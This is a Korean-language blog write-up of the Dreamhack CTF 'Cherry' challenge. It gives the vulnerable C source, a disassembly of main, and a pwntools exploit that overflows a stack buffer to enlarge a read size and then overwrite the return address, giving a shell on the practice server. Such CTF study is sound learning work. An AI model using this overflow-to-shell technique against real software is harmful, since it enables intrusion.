rsp-∞
[Dreamhack CTF Season 4 Round #6] Cherry 본문
// Name: chall.c
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void flag() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
char fruit[0x6] = "cherry";
int buf_size = 0x10;
char buf[0x6];
initialize();
write(stdout_fd, "Menu: ", 6);
read(stdin_fd, buf, buf_size);
if(!strncmp(buf, "cherry", 6)) {
write(stdout_fd, "Is it cherry?: ", 15);
read(stdin_fd, fruit, buf_size);
}
return 0;
}
문제 설명에는 플래그가 flag.txt에 적혀 있다는 정보만 얻을 수 있다. 위는 문제의 전체 c 코드이다.
가장 먼저 정의된 initialize() 함수를 보면 프로그램이 30초 동안 실행되지 않으면 종료되도록 하고 있다. 이것 말고 별로 볼 건 없다. 다음 flag() 함수를 보면 execve 명령어를 통해 /bin/sh 쉘을 실행하도록 하고 있다. 그러나 이하 코드를 살펴보면 flag() 함수를 직접 호출하는 코드는 존재하지 않는다. flag() 함수를 실행시킬 방법이 따로 있을 것이다.
main() 함수를 살펴보자. 사용자의 입력을 총 두 번 받는다. fruit이라는 이름의 배열은 크기 0x6으로 먼저 지정되고, 초기값으로 'cherry'를 가진다. 밑의 코드에서는 buf_size와 buf 배열이 등장하는데, 실제 buf 배열의 크기보다 buf_size의 크기가 더 크다. initialize 이하로 가장 먼저 등장하는 read 명령어를 보자. 첫 read에서 buf_size 크기만큼 입력값을 읽어 buf 배열에 저장하고, 두 번째 read에서(사용자가 cherry를 입력한 경우) 문자열이 출력되고 또 한 번 입력을 받고 그 값을 읽어 fruit에 저장된다. 사용자의 입력을 buf 배열로 읽어 오는데, 사용자의 입력이 담길 buf_size가 배열보다 크기가 큰 0x10이다. 여기서 버퍼 오버 플로우가 발생할 수 있음을 알 수 있다. buf와 fruit 배열이 각각 6바이트로 선언되어 있는 반면 읽어 오는 입력값의 최대 크기가 0x10, 즉 16바이트이므로 스택 데이터를 덮어쓸 수 있다. RET가 flag를 가리키도록 하면 된다.
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000004012fe <+0>: endbr64
0x0000000000401302 <+4>: push rbp
0x0000000000401303 <+5>: mov rbp,rsp
0x0000000000401306 <+8>: sub rsp,0x30
0x000000000040130a <+12>: mov DWORD PTR [rbp-0x24],edi
0x000000000040130d <+15>: mov QWORD PTR [rbp-0x30],rsi
0x0000000000401311 <+19>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000401318 <+26>: mov DWORD PTR [rbp-0x8],0x1
0x000000000040131f <+33>: mov DWORD PTR [rbp-0x12],0x72656863
0x0000000000401326 <+40>: mov WORD PTR [rbp-0xe],0x7972
0x000000000040132c <+46>: mov DWORD PTR [rbp-0xc],0x10
0x0000000000401333 <+53>: mov eax,0x0
0x0000000000401338 <+58>: call 0x401257 <initialize>
0x000000000040133d <+63>: mov eax,DWORD PTR [rbp-0x8]
0x0000000000401340 <+66>: mov edx,0x6
0x0000000000401345 <+71>: lea rcx,[rip+0xcc9] # 0x402015
0x000000000040134c <+78>: mov rsi,rcx
0x000000000040134f <+81>: mov edi,eax
0x0000000000401351 <+83>: call 0x4010e0 <write@plt>
0x0000000000401356 <+88>: mov eax,DWORD PTR [rbp-0xc]
0x0000000000401359 <+91>: movsxd rdx,eax
0x000000000040135c <+94>: lea rcx,[rbp-0x18]
0x0000000000401360 <+98>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000401363 <+101>: mov rsi,rcx
0x0000000000401366 <+104>: mov edi,eax
0x0000000000401368 <+106>: call 0x401100 <read@plt>
0x000000000040136d <+111>: lea rax,[rbp-0x18]
0x0000000000401371 <+115>: mov edx,0x6
0x0000000000401376 <+120>: lea rcx,[rip+0xc9f] # 0x40201c
0x000000000040137d <+127>: mov rsi,rcx
0x0000000000401380 <+130>: mov rdi,rax
0x0000000000401383 <+133>: call 0x4010c0 <strncmp@plt>
0x0000000000401388 <+138>: test eax,eax
0x000000000040138a <+140>: jne 0x4013bc <main+190>
0x000000000040138c <+142>: mov eax,DWORD PTR [rbp-0x8]
0x000000000040138f <+145>: mov edx,0xf
0x0000000000401394 <+150>: lea rcx,[rip+0xc88] # 0x402023
0x000000000040139b <+157>: mov rsi,rcx
0x000000000040139e <+160>: mov edi,eax
0x00000000004013a0 <+162>: call 0x4010e0 <write@plt>
0x00000000004013a5 <+167>: mov eax,DWORD PTR [rbp-0xc]
0x00000000004013a8 <+170>: movsxd rdx,eax
0x00000000004013ab <+173>: lea rcx,[rbp-0x12]
0x00000000004013af <+177>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004013b2 <+180>: mov rsi,rcx
0x00000000004013b5 <+183>: mov edi,eax
0x00000000004013b7 <+185>: call 0x401100 <read@plt>
0x00000000004013bc <+190>: mov eax,0x0
0x00000000004013c1 <+195>: leave
0x00000000004013c2 <+196>: ret
End of assembler dump.
main을 디스어셈블한 결과이다. +19부터 변수를 초기화하고 있는데, 파일 디스크립터인 stdin_fd = 0과 stdout_fd = 1을 차례로 스택에 집어넣고 있다. +33과 +40은 각각 cherry를 'cher'과 'ry'로 나누어 저장하고 있는 것이고, +46에서 0x10은 buf_size를 16으로 초기화하고 있다. 이 부분에서 우리가 스택 프레임을 그려 볼 수 있을 것 같다.
첫 번째 read를 통해 buf에서 입력을 받으면 buf_size까지 덮을 수 있다. buf_size에 버퍼 오버플로우가 발생하면 두 번째 입력에서 ret이 있는 곳까지 똑같은 공격을 수행할 수 있다.
from pwn import *
p = remote('host3.dreamhack.games', _____)
e = ELF('./chall')
flag = e.symbols['flag']
payload = b'cherry' + b'A'*6 + b'100'
p.sendafter(b'Menu: ', payload)
payload = b'A'*26 + p64(flag)
p.sendafter(b'Is it cherry?: ', payload)
p.interactive()
위와 같이 익스플로잇 코드를 작성했다. 처음 payload를 초기화하고 보낼 때 cherry는 buf의 값을 검증하는 과정을 뛰어넘기 위해서이고, A는 임의의 데이터로 fruit 배열을 채운다. 뒤에 b'100'은 앞선 연산으로 인해 buf와 fruit 배열이 모두 가득 찼으므로 buf_size의 값을 100으로 설정한다. 그래야 두 번째 입력에 보낼 페이로드에서 A라는 임의의 데이터를 26개 보내고 읽어들일 수 있을 것이다.
다른 분들 라이트업을 참고하면서 처음에는 왜 두 번째 입력에서 페이로드로 임의의 문자를 26개 보내는지 이해가 가지 않았는데, 생각해 보니 두 번째 입력을 fruit에 저장하고 읽어 오기 때문에 fruit에서부터 RBP 영역을 모두 채운다고 생각하면 각 크기의 총합이 26이라서였다....!
'Write-ups > system' 카테고리의 다른 글
[Dreamhack CTF Season 5 Round #2] bof (0) | 2024.11.26 |
---|---|
[Dreamhack CTF Season 3 Round #6] mmapped (0) | 2024.11.26 |
[Dreamhack CTF Season 1 Round #4] cmd_center (0) | 2024.11.14 |
[DreamHack] rop (0) | 2024.05.25 |
[DreamHack] Return to Library (0) | 2024.05.25 |